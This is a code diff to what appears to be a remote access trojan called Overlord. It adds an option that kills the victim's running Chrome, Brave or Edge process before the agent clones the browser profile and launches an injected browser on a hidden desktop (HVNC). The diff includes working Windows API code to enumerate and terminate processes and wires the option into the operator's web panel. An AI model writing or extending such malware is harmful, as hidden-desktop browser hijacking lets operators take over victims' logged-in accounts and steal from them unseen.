diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
index d2f2993..024a818 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_stub.go
@@ -14,6 +14,6 @@ func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
return errors.New("HVNC injection not supported on this platform")
}
diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
index 283f3fc..7f813c4 100644
--- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
+++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go
@@ -120,7 +120,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, repl
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
-func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, onProgress CloneProgressFunc) error {
+func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc) error {
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
@@ -133,6 +133,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
}
+ if killIfRunning && clone {
+ processName := info.exeName
+ if processName == "" {
+ processName = filepath.Base(exePath)
+ }
+ if isProcessRunning(processName) {
+ log.Printf("hvnc %s: killing running %s before cloning", info.name, processName)
+ killProcess(processName)
+ time.Sleep(1500 * time.Millisecond)
+ }
+ }
+
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
@@ -155,11 +167,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
- return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, nil)
+ return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true, false, true, nil)
}
type browserInfo struct {
name string
+ exeName string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
@@ -167,21 +180,24 @@ type browserInfo struct {
var browserInfoMap = map[string]browserInfo{
"chrome": {
- name: "Chrome",
+ name: "Chrome",
+ exeName: "chrome.exe",
exePaths: []string{
`\Google\Chrome\Application\chrome.exe`,
},
userData: `Google\Chrome\User Data`,
},
"brave": {
- name: "Brave",
+ name: "Brave",
+ exeName: "brave.exe",
exePaths: []string{
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
},
userData: `BraveSoftware\Brave-Browser\User Data`,
},
"edge": {
- name: "Edge",
+ name: "Edge",
+ exeName: "msedge.exe",
exePaths: []string{
`\Microsoft\Edge\Application\msedge.exe`,
},
@@ -209,6 +225,92 @@ func findBrowserExe(info browserInfo) string {
return ""
}
+func isProcessRunning(name string) bool {
+ snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
+ if snapshot == uintptr(^uintptr(0)) {
+ return false
+ }
+ defer procCloseHandle.Call(snapshot)
+
+ type processEntry32 struct {
+ Size uint32
+ CntUsage uint32
+ ProcessID uint32
+ DefaultHeapID uintptr
+ ModuleID uint32
+ CntThreads uint32
+ ParentProcessID uint32
+ PriClassBase int32
+ Flags uint32
+ ExeFile [260]uint16
+ }
+
+ var entry processEntry32
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return false
+ }
+ target := strings.ToLower(name)
+ for {
+ exeName := syscall.UTF16ToString(entry.ExeFile[:])
+ if strings.ToLower(exeName) == target {
+ return true
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+ return false
+}
+
+func killProcess(name string) {
+ snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
+ if snapshot == uintptr(^uintptr(0)) {
+ return
+ }
+ defer procCloseHandle.Call(snapshot)
+
+ type processEntry32 struct {
+ Size uint32
+ CntUsage uint32
+ ProcessID uint32
+ DefaultHeapID uintptr
+ ModuleID uint32
+ CntThreads uint32
+ ParentProcessID uint32
+ PriClassBase int32
+ Flags uint32
+ ExeFile [260]uint16
+ }
+
+ var entry processEntry32
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ return
+ }
+ target := strings.ToLower(name)
+ for {
+ exeName := syscall.UTF16ToString(entry.ExeFile[:])
+ if strings.ToLower(exeName) == target {
+ hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
+ if hProc != 0 {
+ kernel32.NewProc("TerminateProcess").Call(hProc, 0)
+ procCloseHandle.Call(hProc)
+ log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
+ }
+ }
+ entry.Size = uint32(unsafe.Sizeof(entry))
+ ret, _, _ = kernel32.NewProc("Process32NextW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
+ if ret == 0 {
+ break
+ }
+ }
+}
+
func getBrowserUserDataDir(info browserInfo) string {
base := os.Getenv("LOCALAPPDATA")
if info.useAppData {
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index f685fd7..392099a 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1340,6 +1340,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
exePath := ""
clone := true
cloneLite := false
+ killIfRunning := true
if payload != nil {
if v, ok := payload["browser"].(string); ok {
browser = v
@@ -1353,6 +1354,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if v, ok := payload["cloneLite"].(bool); ok {
cloneLite = v
}
+ if v, ok := payload["killIfRunning"].(bool); ok {
+ killIfRunning = v
+ }
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
@@ -1363,7 +1367,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
- log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v dllSize=%d", browser, exePath, clone, cloneLite, len(dllBytes))
+ log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
var onProgress capture.CloneProgressFunc
@@ -1379,7 +1383,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
}
}
- if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, onProgress); err != nil {
+ if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
}
})
diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js
index b7d5246..c9e3ab3 100644
--- a/Overlord-Server/public/assets/hvnc.js
+++ b/Overlord-Server/public/assets/hvnc.js
@@ -801,15 +801,18 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
} else if (action === "start-chrome") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
- sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite });
+ const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning });
} else if (action === "start-brave") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
- sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite });
+ const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning });
} else if (action === "start-edge") {
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
const cloneLite = document.getElementById("hvncCloneLiteToggle")?.checked === true;
- sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite });
+ const killIfRunning = document.getElementById("hvncKillIfRunningToggle")?.checked !== false;
+ sendCmd("hvnc_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning });
} else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)");
if (!exePath) {
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
index 0de3adc..1d654a1 100644
--- a/Overlord-Server/public/hvnc.html
+++ b/Overlord-Server/public/hvnc.html
@@ -171,6 +171,10 @@
Lite clone (no extensions)
+